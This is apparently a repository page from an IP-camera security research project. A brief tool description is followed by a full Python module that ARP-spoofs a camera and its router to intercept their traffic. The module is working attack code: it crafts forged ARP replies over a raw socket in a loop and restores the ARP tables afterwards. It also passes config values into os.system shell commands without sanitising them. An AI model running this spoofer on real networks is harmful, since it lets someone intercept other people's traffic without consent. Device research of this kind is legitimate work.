Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.
Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.
See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
sudo /usr/bin/python3 gui.py
Co-authored by Setec Labs.
90 lines
2.5 KiB
Python
90 lines
2.5 KiB
Python
"""ARP spoofing service — positions us as MITM between camera and router"""
|
|
|
|
import socket
|
|
import struct
|
|
import os
|
|
import time
|
|
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO
|
|
|
|
|
|
def get_mac(ip):
|
|
try:
|
|
out = os.popen(f"ip neigh show {ip}").read()
|
|
for line in out.strip().split("\n"):
|
|
parts = line.split()
|
|
if "lladdr" in parts:
|
|
return parts[parts.index("lladdr") + 1]
|
|
except:
|
|
pass
|
|
return None
|
|
|
|
|
|
def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip):
|
|
src_mac = bytes.fromhex(src_mac_str.replace(":", ""))
|
|
dst_mac = bytes.fromhex(dst_mac_str.replace(":", ""))
|
|
eth = dst_mac + src_mac + b"\x08\x06"
|
|
arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2)
|
|
arp += src_mac + socket.inet_aton(src_ip)
|
|
arp += dst_mac + socket.inet_aton(dst_ip)
|
|
return eth + arp
|
|
|
|
|
|
def run(cfg, flags, running_check):
|
|
iface = cfg["iface"]
|
|
camera_ip = cfg["camera_ip"]
|
|
router_ip = cfg["router_ip"]
|
|
|
|
try:
|
|
with open(f"/sys/class/net/{iface}/address") as f:
|
|
our_mac = f.read().strip()
|
|
except:
|
|
log("ARP: cannot read our MAC", C_ERROR)
|
|
return
|
|
|
|
os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1")
|
|
os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1")
|
|
time.sleep(1)
|
|
|
|
router_mac = get_mac(router_ip)
|
|
camera_mac = get_mac(camera_ip) or cfg["camera_mac"]
|
|
|
|
if not router_mac:
|
|
log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR)
|
|
return
|
|
|
|
log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS)
|
|
|
|
try:
|
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
|
|
sock.bind((iface, 0))
|
|
except PermissionError:
|
|
log("ARP: need root for raw sockets", C_ERROR)
|
|
return
|
|
|
|
flags["arp"] = True
|
|
pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip)
|
|
pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip)
|
|
|
|
while running_check():
|
|
try:
|
|
sock.send(pkt_to_cam)
|
|
sock.send(pkt_to_rtr)
|
|
except:
|
|
pass
|
|
time.sleep(2)
|
|
|
|
# Restore
|
|
log("ARP: restoring...", C_INFO)
|
|
r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip)
|
|
r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip)
|
|
for _ in range(5):
|
|
try:
|
|
sock.send(r1)
|
|
sock.send(r2)
|
|
except:
|
|
pass
|
|
time.sleep(0.3)
|
|
sock.close()
|
|
flags["arp"] = False
|
|
log("ARP: restored", C_INFO)
|